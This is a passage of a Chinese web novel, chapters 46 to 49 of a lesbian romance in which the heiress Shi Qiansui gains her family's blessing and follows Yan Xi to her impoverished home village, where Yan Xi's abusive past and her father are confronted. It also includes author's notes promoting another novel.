时千金回去后反思过,这件事她自己本身也存在一定问题,也怪不得妹妹发那么大脾气。
这会儿见时千岁主动低头,便也不再僵持。
时千岁见她脸色微缓,赶紧问出最关心的问题。
“你对大春是真心的吗?”
时千金终于转过头,正视她,重重地咬出了一个字,“是。”
她顿了顿,补充道,“自从我发现我对大春有了感情后,就再没碰过其她女人。”
原来老姐两年不找女人是因为这个,她还一直以为是腱鞘炎呢!时千岁信了八九分,又问,“那大春口中的不可挽回的事,是不是指上床?”
时千金呼吸一滞。
时千岁“哎呀”一声,“姐都是成年人了,有什么可害羞的。”
这是害羞的问题吗?时千金闭了闭眼,艰难地承认,“是。”
时千岁一下坐直了身子,追问道,“那那那,你和大春谁是攻?”
时千金呼吸继续一滞。
“这重要吗?”
时千岁重重一点头,“很重要。”
“快说嘛快说嘛。”
时千金劝了劝自己,勉强从嘴巴里挤出一个字,“她。”
“什么!”时千岁激动地跳了起来,“早说她是攻啊。”
“原来老姐你才是被欺负的那个,那我同意,我同意你们的亲事,举双手双脚同意!”
这是哪门子脑回路,时千金无语地瞪她一眼。
时千岁又说,“既然我都赞成你两了,那你是不是也要赞成我和言浠?”
“姐,你就同意了呗,言浠平时对我可好了,求你了求你了。”
时千金被她晃得头晕,用力抽出胳膊,把头扭向一边,“我不管你,但你以后要被她伤了,可记得千万别哭着找我。”
卧室门开了,梁双敏站在门口,看着楼下重归于好的姐妹俩,不由地勾起了唇角。
她缓了缓,正色道,“千岁。”
时千岁看到老妈严肃的表情,一下子紧张地站了起来,“到!”
梁双敏艰难忍笑,清了清嗓子,“上来,我有话跟你说。”
时千岁心脏乱撞,同手同脚的上了楼。
卧室门一关。
梁双敏终于忍不住了,拍了拍眼神发直的时千岁。
“放松点,坐下吧。”
时千岁一个指令一个动作,僵硬地坐到了床沿。
梁双敏调侃她,“刚才不是挺硬气的吗?现在知道紧张了?”
时千岁猛一下站起来,坚定道,“对,没错,我就是喜欢言浠。”
梁双敏“嘶”了一声,捂了捂耳朵,“喜欢就喜欢呗,喊什么,一惊一乍的,心脏病要被你吓出来了。”
说到这,时千岁终于想起了时来运,“老爸的身体怎么样?”
她环顾四周,不见人影,又问,“老爸哪去了?”
梁双敏目光瞟向卫生间,压低声音说,“躲里边哭呢。”
“嗯?”时千岁不解地挠挠头,“为啥?”
梁双敏眨了眨眼,“自家的白菜要被人拱了,能不哭吗?”
时千岁咀嚼了一遍这句话,慢半拍反应过来其中含义。
巨大的惊喜将她砸的晕晕乎乎,她顺势扑进梁双敏的怀里,“你和老爸同意了?”
梁双敏冲她比了个“嘘”的手势。
又故意拉高了音调,“当然是还要考察。”
话虽如此,时千岁依旧很激动。
梁双敏强行按住她的肩头,“好啦,跟我说说她?”
“该从哪里说起呢?”时千岁想了想,便从初次见面时那个美丽的误会开始讲起,讲到接二连三的相遇,讲到阴差阳错的同居,讲到从针锋相对到怦然心动。
讲完追人闹出来的笑话后,笑声戛然而止。
落下一句无比心酸的叹息,“我找不到言浠了。”
梁双敏挑了下眉,“我知道她在哪。”
时千岁激动地抓住她的手,“她去哪了?”
“言浠回老家了,处理点事情。”
“那我我我”
梁双敏说,“想去就去吧。”
“真的?”时千岁简直不敢相信自己的耳朵。
“嗯,还没告诉过你吧,言浠是我和你爸爸从小资助长大的,”除了没生活在身边,情况几乎和大春差不多,“去她的家乡,看看她的过去,”就会明白她为什么会把“恩情”两字看的那么重
泗水乡,一个蜷缩在北城两千公里之外、地图上几乎寻不到痕迹的角落。
抵达这里,需要先乘飞机,再换火车,接着是三个多小时的颠簸班车,最后,还要徒步跋涉一小时,才能穿过连绵无尽、仿佛巨大牢笼般的群山,触碰到这片被遗忘的土地。
贫穷与闭塞,如同山间的浓雾,紧紧包裹着这里。
言浠辗转十几个小时,重新踏上了这片令她本能般厌恶的土地。
她没有片刻停留,径直赶到学校门口,与杨老师汇合。
此时,学校门口两拨人在激烈的对峙着。
一边是杨素琴和两名上了年纪的男老师。
另一边的几个人,手里拿着家伙,气焰嚣张。
为首的那个满脸横肉的矮胖子就是言文青。
“把钱给我交出来,这是我们言家的钱,凭什么给你们啊?”
教书育人半辈子的杨素琴,被气的直接爆了粗口,“臭不要脸的老东西,这是言言辛辛苦苦赚来的钱,跟你有什么关系?”
言文青眼一瞪,蛮横道,“她是我闺女,走到哪都流着我老言家的血,我拿回她的钱,天经地义。再说有这钱不给她弟弟花,跑过来建学校,这个胳膊肘往外拐的蠢货。”
“今天要么拿钱,要么我们就把学校砸了。”
言文青丑陋的嘴脸瞬间点燃了言浠埋藏在心底的憎恨,怒火灼烧着理智,她目光下意识扫向了门口立着的一把锄头。
就在这时,杨老师身影微微一动,恰巧遮挡了言浠的视线。
“你有把言言当女儿吗?她出生起有过过一天好日子吗?现在有钱了你来了,呸,你也配,今天你要是敢砸学校,你就从我尸体上踏过去!”
言浠的理智在听到杨老师这番话时骤然回笼,她深吸一口气强压下翻涌的恶心感,扒开人群站到了杨老师身前。
“我看谁敢动她。”
嚣闹的人群一下子安静了下来。
数道打量的目光齐齐落到了言浠身上。
有被她强大的气势震慑住的胆怯,更多的是对眼前凭空出现的人身份的不解。
直到杨老师唤了一声,“言言。”
言文青这才认出眼前这个气质冷冽、衣着光鲜的女人正是离开了十几年的言浠。
他立刻堆起虚伪的笑,搓着手凑近,“女儿,你回来了就好办了,你也知道,你弟弟正好是要娶婆娘的年纪,作为姐姐帮衬一把说得过去吧。”
言浠眼皮都没抬,语气漠然,“行啊。”
这么好说话的,言文青心头一喜,就听言浠继续道,“死的时候我烧给他。”
“还有你,我也亏待不了。”
“你!”言文青彻底撕破伪装,指着言浠,怎么难听怎么来,“我怎么生了你这么个赔钱货,当初就应该把你按进尿盆里淹死!”
然而,当他对上言浠那双毫无温度、仿佛看待死物的眼睛时,嘴里污秽的咒骂突然卡了壳。
言文青心里忌惮,嘴上不骂了,又是一屁股坐到了地上,大有撒泼打诨之势。
言浠逼近一步,居高临下地睨着他,“滚不滚?持械寻衅滋事,想去牢里坐坐?”
越是贫穷的地方,法律的界限越模糊,言文青有恃无恐,“吓唬谁?拿不到钱,这个学校不可能让你们建下去。”
这时,天际传来了引擎的轰鸣。
一架直升机由远及近,赫然出现在小村落的上空。
言浠的心脏猛地一缩,一个强烈的预感几乎让她屏住呼吸。
直升机带着磅礴的气势,停到了村头空地,卷起阵阵飞沙。
接着从上头跳下了一抹熟悉的身影。
言浠的眸光剧烈晃动,心脏在这一刻被一种难以言喻的情绪填满,仿佛阳光刺穿云层,整个世界都变得晴朗起来。
时千岁下飞机后,只用了两分钟就从村民口中问清了来龙去脉。
接着一挥手,召出了两名一身腱子肉的保镖。
她气势汹汹地走到言文青一行人面前,墨镜往下一勾,指了指身后的保镖,“如果法律不能制裁你,那他们呢?”
保镖动作一致的往前一步,冰冷地扫视着人群。
时千岁又说,“如果他们不行的话,”她偏头朝杨素琴一笑,“麻烦杨老师把施工队的人叫出来。”
她转回头,盯着面如土色的言文青,一字一句清晰地说道,“跟他们说,谁要是敢阻拦施工,就卸他一条腿。”
“工资加十万,医药费我全包。”
时千岁扬起下巴,轻蔑一瞟。
“反正我有的是钱。”
【作者有话说】
大小姐驾到统统统统统统闪开
47
第47章
◎来都来了,再说我就亲死你◎
又是直升机,又是保镖。
这些一辈子没走出过大山的人哪见过这阵仗。
当即被唬得大气都不敢出。
有几个被言文青拉过来撑场子的更是直接撂了担子,转头就走。
自己这边人越来越少,言文青眼见讨不到便宜,狠话都不敢放,脚底抹油,灰溜溜地跑了。
闹剧结束,看热闹的人依旧还在。
一些闲言碎语不经意间便传了出来。
“言家那丫头长这么大了?”
“你那么关心这个白眼狼干什么?”
“冷血的东西,她妈死的时候没掉一滴眼泪,十来岁就敢拿斧头跟二叔拼命,现在好了亲爹都不认了。”
“自己去城里享受荣华富贵,一走就是几十年,你见她回来看过一眼吗”
言浠指尖紧紧掐着掌心,目光下意识去看时千岁,迫切地想知道她听完这些话的想法。
谁知,一旁的杨素琴却是率先有了动作。
她抄起一把扫帚,径直冲进人群,挥舞着,“到底谁是白眼狼?没有言言你们家孩子能上学吗?都给我滚。”
言浠看着她消瘦的背影和斑白的鬓发,渐渐湿了眼眶。
围观的人悻悻地闭上了嘴,一哄而散。
杨素琴胸口剧烈的起伏着,把扫帚一扔,腰杆无力地弯了下去。
“杨老师!”言浠急忙跑过去搀扶,“您怎么了?”
杨素琴摆摆手,示意她没事,“就是应付言文青累到了,缓一缓就好。”
杨素琴缓了口气,温柔的目光移向眼前人的脸。
“言言,一晃这些年不见,老师好想你。”
“你在外面过得好吗?”说到这,声音带了些哽咽,“老师以为这辈子再也不会见到你了。”
言浠动容,紧紧地握住了她的手,“老师。”
“好了,不说这些了,”杨素琴轻轻揭去眼泪,目光移向了被晾在一旁的时千岁,“这是哪位?你还没给我介绍呢。”
言浠犹豫片刻,开口道,“时家的二女儿,时千岁。”
明知她不会称自己为“女朋友”或者“未来女朋友”,但听到这个生硬的回答时,时千岁心底还是忍不住的失落。
杨老师却突然拉住她的手,“难怪这么大阵仗,原来是来运的女儿。”
“今天谢谢你帮我们解围了,要不是你,这场闹剧还不知道该怎么收场呢。”
“哪有,”时千岁垂眸掩去失落,“杨老师太客气了。”
“还没吃饭吧,”杨素琴一左一右拉起两人,热情邀请,“走,我们回家。”
又看了下跟在时千岁身后的保镖,犹豫再三,开口询问,“他们”怎么办?
“哦哦哦,他们会自行解决的,”时千岁回头,“熊大、熊二,解散。”
两名彪形大汉收到命令,身形一闪,表演了个原地消失
穿过泥泞小路,几人来的一间简陋的泥瓦房前。
推开门,入眼是种满蔬菜的小园子。
紧接着,几个孩子听到动静,齐齐从里屋跑了出来,把杨素琴围到了中间。
叽叽喳喳:“老师你回来啦,我要吃糖。”
杨素琴摸了摸她们的头,示意她们有客人在,几个孩子胆怯地看了眼二人,齐齐地躲到了她身后。
杨素琴充满歉意的声音响起。
“本来我应该留两位保镖也吃个便饭的,但她们胆子有些小。”
时千岁表示十分理解。
杨素琴又给她介绍,“这些孩子的父母大多外出务工,没人照看,所以留在了我这里,还有几个,家里极度的重男轻女,生下来就不管了,所以我也带在身边,”说到这,余光看了眼言浠。
和言浠情况一样对吗
从妈妈口中了解的,结合今天亲眼看到的,时千岁大体已经有了一个完整猜测。
更是对这位为山村教育甘愿奉献一生的杨老师感到无比倾佩。
时千岁认真道,“您辛苦了。”
“哪里的话,我喜欢她们,”杨老师对着她们笑,“而且学校马上就建好了,她们到时候能接受良好的教育,能像言言一样走出这里,我受再多的苦都值得。”
“对了,你们有打招呼吗?”杨老师转头跟孩子们介绍,“这位是千岁姐姐,这位是言浠阿姨。”
时千岁:“”
“别别别,”时千岁急忙制止,“也叫姐姐。”
不然不就差辈了吗!
小朋友齐齐站成一排,眨巴着格外晶亮的眼睛,看向时千岁,“千岁姐姐。”
这些孩子们穿着洗的泛黄的衣服,有的还打了很多补丁,脸蛋却是干干净净,杨老师显然把她们照顾的极好。
时千岁喜欢的紧,蹲下身和她们亲切地打了个招呼,“你们好。”
孩子们展开了笑颜。
当把目光转向言浠时,嘴边的话突然卡了壳,一个个的又缩回了杨素琴身后,眼神胆怯,更甚者眼底翻涌出了泪花。
言浠:“”
我很可怕吗?
为什么小家伙到哪里人缘都这么好?不理解。
在杨素琴鼓励的眼神下,孩子们终于开口对言浠叫了一声姐姐。
接着便争先拉起时千岁和杨素琴的手,把人拉进了屋子。
只有一个小孩子,脚步始终慢一拍,最后犹犹豫豫、磨磨蹭蹭的停到了言浠身边。
壮着胆子扬起脸,“你就是言浠姐姐?”
一张秀气的小脸,眉头微微皱起,透着比同龄人更多的心事和成熟,只是那目光里还是有藏不住的胆怯,言浠微微弯下身子,尽量把语气放轻柔,“是。”
“我一直听杨老师提起你,就是想看看你,”杨雨说。
只是这样?言浠直觉她还有什么话要说,静静等待下文。
杨雨抿了抿唇,随后把小手塞进了言浠掌心,一双眼睛满怀憧憬,“言浠姐姐,如果我很努力很努力的话,能不能也像你一样离开这里?”
言浠目光微微晃动,随后坚定地握紧她的手,像是对她说,也像是对小时候的自己说,“会!”
言浠进了屋,杨老师已经去厨房准备饭菜了,时千岁正坐在小板凳上陪孩子们玩。
她没有打扰,转身走向厨房。
时千岁的声音自背后传来,“站住。”
言浠手指蜷了蜷,脚步下意识定在了原地。
“你没有话要跟我说吗?”时千岁起身,一步步朝她走来。
言浠莫名生出紧张感,耳膜中心跳声鼓噪。
时千岁抓住她的手,把人拉进了里屋,门一关,自背后紧紧的环住了她,“我好想你。”
言浠舔了舔干涩的唇瓣,“不是才两天没见面吗?”
“哦,你也知道是两天,”时千岁松开了手,绕到她面前,气势汹汹地瞪过去,“为什么连招呼都不打就跑?又想推开我吗?”
言浠急忙说,“不是,”不是想推开。
“事出突然,手机后来没电了。”
言浠有点不敢看她的眼睛,“你怎么来了?”
“我为什么不能来?”时千岁把人拉到炕上坐下,自己坐到了她的腿上,拉近距离,“自然是陪你一起面对。”
言浠垂眸,“其实我过两天就回去了,你不用特意跑这一趟。”
“啧,”这女人怎么这么多废话,时千岁不耐地的抬起她下巴,“来都来了,再说我就亲死你。”
说到这,时千岁真起了接吻的心思。
目光滑过她轻轻滚动的喉咙,时千岁迎向了那片饱满的唇。
木门“咯吱”一响。
紧接着响起一道惊呼,“姐姐和姐姐你们在干什么?”
两人一惊,循声望去。
只见杨雨露出个小脑袋,正从指缝中偷看她们。
言浠推了推时千岁,示意她从腿上下来,勉强维持冷静,“有什么事吗?”
杨雨磕磕巴巴,“也没什么,就是杨老师让我来叫你们出去吃西瓜。”
说完一溜烟跑走。
小杨雨跑回到杨老师身边,再三犹豫。
扬起了小脸,“杨老师,你说,我去了城里也要和女孩子亲嘴吗?”
杨素琴:“?????”
亲密被打断。
言浠清了清嗓子缓解尴尬。
随后装作不经意地问道,“是你自己偷跑过来的?还是时总同意的?”
时千岁碍于门外小孩子太多,稍微克制了一下自己的行为。
这才认真的回答了她的问题。
是我老妈和老爸让我来的。
言浠指甲紧紧掐着掌心,人显得格外紧张,“她们知道了?”
时千岁得意道,“不仅知道了,还同意了呢。”
言浠眼中的惊讶不加掩饰,“什么?”
“不然你以为我上哪搞直升飞机去?”
时千岁转过头认真地望进了她的眼睛,“妈妈让我转告你一句话。”
“她说,时家当时资助你,只是想给你一个成为普通人的机会,所以让你别有负担。”
见她神情依旧没有放松,便把时来运也搬了出来。
“你知道我爸知道这消息后什么反应吗?”
言浠紧张道,“什么?”
时千岁夸张的“哇”了一声,“他说,真的吗真的吗?肥水不流外人田,我举双手双脚赞成!谁要是反对,我时来运第一个剁了他!”
远在两千里外的时来运重重的打了三个喷嚏。
一旁的梁双敏注意力都在手机上,完全没理会他。
时来运凑到她耳边,幽幽道,“手机重要我重要?你现在一点也不关心我了,是不是不爱我了?”说到这,心头竟涌上了几分委屈,眼眶跟着红了起来。
梁双敏不用抬头看,就知道自己老公又胡思乱想了,伸出头摸了摸他的侧脸,“乖哦,没空跟你闹。”
“千岁的终身大事最重要。”
听到这句话,时来运即便再不满,也安静下来了。
“所以,老婆你到底在鼓捣什么?”
梁双敏指尖一滑,把“时来运转”拉入了群聊,这才给他展示,“我建了个群。”
时来运低头看了眼群名。
【千岁勇敢追,家人永相随!】
又看了眼群成员。
看见自己名字时,急地一蹦三尺高。
“老婆你怎么给我拉进来了?我答应了吗?不是在考察吗?天塌了,说变卦就变卦我这老脸往哪搁啊!”
梁双敏忍笑,“手滑了嘛,要不你自己退出去?”
时来运一屁股坐到了床上,耷拉下了眉毛,“算了,进都进了。”
沉默了一会。
时来运转过了脸,“老婆,我还是有点担心。”
“嗯?”
时来运说,“千岁还不到二十岁,有些问题要跟她提前讲一下。”
梁双敏疑惑,“什么问题?”
“就是,她虽然喜欢女孩子,但那方面的问题也要注意,就是不能因为是同性就毫无节制”
“那方面是哪方面?” :=
“哎呀,”时来运一张老脸憋得通红,扭捏了半天,几不可闻地咬出了一个字,“性”
“老婆,你去跟她科普科普吧。”
梁双敏:“???”
傻老公,梁双敏别有深意地看他一眼,“我才不去,要说你自己说。”
时来运急死了,“我可是男的!我怎么说的出口!”
“男的怎么了,你还是她爸爸呢,”说完,梁双敏转过了身子,丢给了他一个背影。
时来运重重地叹了口气,抱着手机发起了呆。
酝酿了足足半个小时,终于打开了群聊天框。
【千岁,在吗,爸爸有点事跟你说。】
这边。
时千岁手机一震。
一条群消息蹦了出来。
时千岁看到群名,心中一喜,激动地把手机举到言浠眼前晃了晃,“看看看,我就说我爸妈非常支持吧,这回信了吧信了吧?”
说完,点开了聊天框,回复道:【老爸,请讲。】
隔了将近一分钟,时来运回了话:【千岁,你现在年纪也不小了,有些床、上的事我想有必要跟你认真探讨一下了。】
还以为什么事呢,时千岁想都不想便回复道:【老爸,你有什么不明白的吗?尽管问。】
“嗖”时来运转撤回了一条消息。
时千岁:“???”
撤回干嘛?怪莫名其妙的。
一转头对上了言浠一言难尽的眼神。
时千岁不解地挠挠头,“我回答的有什么问题吗?”
言浠:“”
你说呢?大黄丫头!
【作者有话说】
由此可见,这位作者爱极了熊出没[无奈]
忘记给基友章推了,现在加上
《被偏执阴湿亡妻窥伺后》沈明钰,喜欢收藏
#人鬼情未了,但He结局
#乐观胆小怂包*偏执阴湿年上女鬼1
#伪强制爱,姐妹相争,不健康畸恋
#过期伪骨(单箭头*),双初恋且彼此唯一
*
辛露车祸失忆了。
她乐观地将一切当作重新开始。
六月酷暑,她剪了短发,影子却长发飘飘,扭头望她。
电梯模糊的白裙倒影,浴室里血色水流融成的女人俯身,粘腻的注视舔舐她的脸颊。
辛露无法动弹,眼睁睁看着血色逼近,腥甜的气息将她淹没。
冷风如蛇缠绕,浓墨似的影探出镜子,向她伸手,邀她堕入欢愉的深渊。
“不要离开要想我、爱我。”
血水中沸腾着偏执妄语,细碎的呢喃无处不在,密密麻麻地钻进她的耳朵。
“露露是我的,谁也不许靠近。”
“露露,我爱的露露。”
“你是我的,只能属于我。”
“好想把你吃掉,永远在一起。”
一定是幻觉。
*
奇怪的事情越来越多了。
睡醒后忽然出现的淤青,脖子上的吻痕,腰间的指印,酸涩的不可说位置,挥之不去、旖旎到荒唐的梦境。
面容朦胧却美丽的女人掐着她的腰,极尽缠绵,声音缱绻,靡靡吐息一遍遍灼烧她的耳廓。
“想你,好想你。”
“这么多年,你有没有想我?”
女人指尖轻勾,她便失神沉沦。
*
辛露逃离了这个诡异的房子。
只是
人怎么可能没有影子?
影子追着她,藏在影子里的存在窥伺她。
风在深夜“吱呀”着吹开门,床底的暗影近乎凝成实体,向她靠近的脚步声,温热水流里腥甜的血色……
“宝贝,乖乖,为什么要藏起来呢?”
温柔含笑的声音带着令人惊心的痴缠疯狂。
“你不是最爱我了吗?”
她蜷在衣柜里,死死咬手,屏住呼吸。
柜门缓缓推开,令人牙酸的摩擦声拉长。
“乖乖,找到你了。”
光亮刺进黑暗,辛露惊慌地抬眼。
祂立在光暗之间,如蛆附骨的影缀在祂身后,长发飞扬。
在她面前的,究竟是人是鬼?
尖叫偃息喑哑,黑雾悄然缠上她的脚踝,猛地一扯——
48
第48章
◎言言小时候哭鼻子的时候,我就拿糖哄她◎
杨素琴带孩子们洗完手,叫二人出来吃饭。
一个简易的小木桌,几个小板凳,孩子们乖巧的排排坐。
杨素琴端了几盘素淡的小菜摆上桌,“地方小,没什么好吃的,都是自家种的,别嫌弃。”
时千岁连忙接过碗筷,“我没那么娇气,”又瞄了一眼言浠,“好养活得很。”
是吗?言浠挑挑眉,刚欲说什么,掌心便被一只小手牵住。
杨雨扬头,眼睛亮亮的,“言浠姐姐,你能挨着我坐吗?”
言浠对上那双充满期待的眼睛,脚步一动,“可以。”
时千岁心里还有点不情愿。
怎么还抢人呢?
随即又自我反省。
连小孩子的醋都吃,真不应该
几盘素菜,被孩子们就着馒头扒得干干净净。
看她们吃的香,时千岁胃口大开,比平时多吃了半个馒头。
这会撑得仰在椅子上动弹不得。
杨素琴又端出一盘糖果,给大家分发。
时千岁看包装有点熟悉,拿过一颗仔细瞧了一眼。
绿色糖衣、葡萄口味。
和言浠随身携带的一模一样。
杨老师像是看出了她的疑惑,“言言的最爱,”她把一颗糖放到言浠掌心,“言言小时候哭鼻子的时候,我就拿糖哄她。”
言浠:“!!!”
言浠急忙打断,“杨老师!”她有些难为情地别过了脸,“别说了。”
怪不得懂得拿糖哄人,也只会拿糖哄人,时千岁想。
“那言浠小时候也爱哭鼻子吗?”
杨老师无视言浠的目光,悠悠道,“喜欢啊,但都是自己躲起来偷偷哭,后来被我发现了,索性就不装了,动不动就哭鼻子,想让我哄她。”
没想到言浠还有这样一面!
言浠整个人都快烧起来了,此时只想找个地缝钻进去。
正巧,杨雨洗完碗筷回来,“言浠姐姐,你能帮我补习下功课吗?”
言浠如蒙大赦,一把抓起她,脚步飞快的逃离了现场
杨老师把孩子们支到了院子里。
然后坐回到了时千岁身边,犹豫半天,“杨雨说她看你和言言”
时千岁以为她要责怪,立马保证,“杨老师,我们以后会注意的,绝不再当孩子的面做出格举动的,你放心!”
“我不是这个意思,我是想问,你和言言在一起了吗?”
时千岁松了口气,坦诚道,“还没有,不过我在追她。”
杨素琴垂眸片刻,再度开口,“你是认真的吗?”
看她神色担忧,时千岁抓起她的手,无比认真地咬出了一个字,“是。”
“呼,”杨素琴轻轻吐出一口气,笑道,“你是好孩子,我放心。”
“想知道为什么杨雨那孩子这么黏言浠吗?”
时千岁望过去,“为什么?”
杨素琴第一次见到杨雨时,是在一个闷热夏天的猪圈里。
蚊虫肆虐恶臭熏天。
遍体鳞伤的杨雨被铁链捆绑在角落,奄奄一息。
只有牲畜靠近时,她那涣散的眼神才短暂的流露出一丝惧意,但被风一吹又很快消散。
杨素琴发疯似的冲了过去,却被她的生父阻拦。
在争执中,杨素琴终于搞清楚了缘由。
只因杨雨盛饭时不小心弄撒了弟弟的一碗汤,便造此恶毒的对待。
后来杨素琴用了所有积蓄才将杨雨救了出来,自此带在身边。
杨素琴把目光投向门外,思绪也跟着飘到了很远的曾经,静静道,“杨雨无论是性格来讲还是遭遇来讲都太像言言了,无数个日夜里,杨雨都是靠着言浠的故事,才生出活下去的信念。”
这些话,撞进时千岁的心里,卷起一片惊涛骇浪。
过了半响,她才听到自己开口问,“那言浠也睡过猪圈吗?”
回答她的是沉重的沉默。
时千岁死死掐着手心,强忍翻涌的泪水。
杨素琴见她情绪低沉,便犹豫道,“还想听吗?”
时千岁抬起脸,眼神倔强,“想,关于言浠的一切我都想知道!”
果然没有看错这孩子,杨素琴欣慰地拍拍她肩膀,继续给她讲言浠的过往。
言浠所承受的远比杨雨要多很多。
言家曾是村中最富的,但言文青娶了言浠的母亲后,没过多久就染上了网络赌博,败光了家底不说还气死了老爹,然后开始家暴酗酒,直到言浠的母亲温凤兰怀孕了,他才有所收敛。
在温凤兰觉得一切都在往好的方向发展时,言浠的出生打破了她的一切幻想。
一切皆因言浠是个女孩。
温凤兰开始也是爱这个孩子的,但随着言文青变本加厉的打骂,懦弱的她最终把所有的错全怪到了言浠头上。
如果说言浠五岁前承受的只是亲情的冷漠,那五岁后迎接的就是噩梦。
那年,耀祖出生了。
可惜,不是温凤兰亲生的,言文青带着小三公然出现在了自家院子里挑衅,那天温凤兰做了一生中最勇敢的反抗——死亡。
温凤兰就死在了言浠眼前,也正如村民所言,五岁的她没留一滴眼泪。
此后,言浠就过上了伺候一家老小的日子,她即要忍受耀祖的欺负又要忍受言文青的打骂,这么一忍就是几年。
后来,村里接到时来运资助孩子的消息,言文青也不知道用了什么手段,把耀祖塞进了名额。
有了钱,日子变得好了一些,言浠也得以喘息,开始补落下的功课。
只不过好景不长,耀祖好吃懒惰惯了,是个烂泥扶不上墙的东西,在收到耀祖成绩单的那一刻,时来运就决定放弃资助。
日子穷苦起来,言文青就把注意打到了开始发育的言浠身上,那天谈好价钱后,二叔上门接人。
言浠不像她母亲般软弱,得知目的,疯了一样抄起了一把斧头,见人就砍,把在场所有人震慑住了。
杨素琴得知,立马把言浠接到身边,并疯狂给时来运写信,帮她寻找靠山。
索性,时来运最终看到了信,索性,言浠也足够努力。
杨素琴说,“所以你在学校门口听到的那些议论都不要往心里去,言言是个心底很柔软的人,才不是她们口中说的白眼狼,冷血。”
时千岁的泪水模糊了视线,心脏被巨大的愤怒和酸涩填满。
怪不得言浠提到家人两字反应会那么大,怪不得言浠日日睡不着觉要靠酒精麻痹,怪不得言浠从没有过过生日
时千岁慢慢站起来,往门口走。
杨素琴一愣,“小时,你要去干嘛?”
时千岁身形晃了晃,手扶住门框,勉强挤出来个轻松地笑,“没事,我就出去透透气。”
出了院子。
时千岁脸色彻底阴沉下来。
“熊大、熊二。”
两名西装革履的壮汉不出两秒闪现到了她眼前。
时千岁眼中燃起熊熊怒火,“跟我走!”
“是。”
三人气势汹汹朝言文青家走去。
言文青家在村子的最东头。
隔着老远就听到里传出了吵架声。
一个尖锐的女声喊道,“姓言的!说好的钱呢?老娘怎么跟了你这么个废物东西!”
回答她的是一个响亮的耳光。
女人叫唤的更凶,“你再打一个试试?你信不信老娘带着你儿子一起死!”
屋内突然噤了声,言文青显然是没了脾气。
时千岁鄙夷道,“狗咬狗。”
她下巴一指,熊大熊二猛踹开院门。
屋内三人听到动静冲了出来。
为首女人叉着腰,吊着一双三角眼,上下把时千岁打量了个遍,尖声道,“你谁啊你?有病吧?”
言文青认出了她,以及那身后惹不起的保镖,急忙上前捂住了女人的嘴。
低声下气道,“小姑娘,有事吗?”
熊大熊二搬来一把椅子放到院子中间。
时千岁颇有气势的往那一坐,目光定格在从进门后就一直贼眉鼠眼看她的言耀祖身上。
这言耀祖一米七左右的身高,体型却足有言文青的两倍。
邋里邋遢,脸冒油光。
时千岁想,如果单论长相,这一家子跟言浠真的是八竿子打不着边。
啧啧啧。
时千岁往后一靠,气场全开,“我还没自我介绍呢。”
“我爸就是时来运,来运集团的创始人,想必你们应该挺熟悉,如果不太了解的话,可以去财经新闻上找找。
我妈呢,身份不方便讲,涉密,不过黑白两道都得给她几分薄面。对,还有个手段极其残暴的姐姐,至于我呢,就是言浠命中注定的女朋友,也是未来的妻子。”
言文青消化了一番,随后换上了一副谄媚的嘴脸,“没想到还有这么一层关系呢,”赶紧抓紧机会抱大腿,“你看什么时候方便,我带着耀祖去拜访一下亲家。”
真是不要脸!时千岁语气一冷,“我来这可不是为了让你攀亲戚的!”
言文青一愣,忐忑道,“那是?”
自然是给言浠出气的,时千岁冷笑一声,“熊大熊二,把他们三绑起来,扔猪圈里。”
熊大熊二得令,面无表情地朝三人走去。
见她来真格的,言文青逐渐惊恐,“你这是干什么?我可是你岳父!”
甩下一句“你也配”时千岁闭目养神,不再理会。
从挣扎怒骂到鬼哭狼嚎。
直到三人被五花大绑丢进那肮脏不堪的猪圈,糊了满身猪粪,这才统统闭上了嘴。
时千岁站起身,在院子里寻么了一圈,指着一个泔水桶,交代熊大和熊二。
“去把这个和那边的猪食混在一起,跟他们喂进去。”
猪圈里顿时爆发出哭嚎求饶。
熊大熊二铁钳般的手掰开了三人下巴。
黄褐色粘稠物被统统灌了进去。
几人剧烈干呕,恶心的汁水顺着下巴不住流淌。
时千岁嫌弃地捏着鼻子蹲到他们面前,说道,“我之所以介绍我的家庭情况,是想告诉你们,以我家的地位和财力,可以轻轻松松的让你们在这个世界上消失。”
三人脸色唰一下惨白。
“从今往后,言浠和你们再也没有任何关系,明白了吗?”
“如果你们再敢打她的注意,包括那间学校,”时千岁眯了眯眼,“你们懂我意思吗?”
三人拼命点头。
时千岁站起身,满意地拍了拍手,“很好,熊大熊二,既然他们吃饱了,那就留他们在这里睡一觉。”
“我们走!”
出完气,时千岁心情舒畅,哼着小曲回到杨家。
刚进门,就撞上焦急寻她的言浠。
“你去哪了?”
时千岁卖关子,“不告诉你。”
“你为什么不跟我说一声就往外跑?”言浠拉着她上上下下打量了一遍,见她毫发无损,一颗心这才踏实落回了肚子里。
时千岁笑,“有熊大熊二在,你怕什么?”
言浠闻言眉头一蹙,教训道,“你们对这人生地不熟的,万一不小心走进了深山,那后果可是不堪设想!”
见她隐隐动了气,时千岁急忙保证,“没有下次了。”
“我以后一定寸步不离的跟在你身边,这总行了吧。”
时千岁向她撒娇,“好啦,不生气了好不好?”从言文青那回来,总觉得身上有股怪味,于是又问道,“这里能洗澡吗?”
杨素琴正好从屋里出来,闻言抱歉道,“小时,莲蓬头支架断了,洗澡怕是不太方便,要不凑合一晚。”
不太行,时千岁实在忍受不了身上的味道,“有没有其他的办法?”
杨素琴把目光移向言浠,“要不让她帮你洗?”
时千岁:“!!!”
幸福来得这么突然吗?
49
第49章
“帮你洗澡”这几个字顺着耳朵飘进来,在她的大脑里肆无忌惮横冲直撞,搅起一波又一波的波澜,时千岁瞬间有些晕晕乎乎。
幸福来的太突然。
想到要在清醒时和言浠做这么暧、昧的事,时千岁就有点头脑发热、不能自己。
她深吸一口气,拼命按住心里蠢蠢欲动的那个小人。
眼尾余光扫向言浠。
不料却在空中被抓了个正着。
时千岁一下子就不淡定了,欲盖弥彰地转过了头。
偏偏言浠这次看穿了她的期待,调侃的语气落在她耳边,“很想让我帮你?”
时千岁本以为她要拒绝,下一秒,手就被言浠牵起。
“可以。”
“啊,”时千岁显然有些懵。
言浠未多做解释,拉着她便往后院走。
杨素琴家没有独立的浴室,后院里那仅用几块铁板和塑料布围起来的小空间,就是她们平时洗澡的地方。
言浠把眼神还有点发直的时千岁塞进去,自己也跟着钻了进去。
随后仔细地将塑料布塞得严严实实,转过头看向没有任何动作的时千岁,“还不脱?”
本就逼仄的空间,此时站了两个人就略显拥挤。
暧昧迅速蔓延,空气也似乎在这一瞬间被点燃。
还没开始,时千岁便有些呼吸急促,身子发软。
见状,言浠扶稳她的腰肢,伸手去解她扣子,“算了,我来吧。”
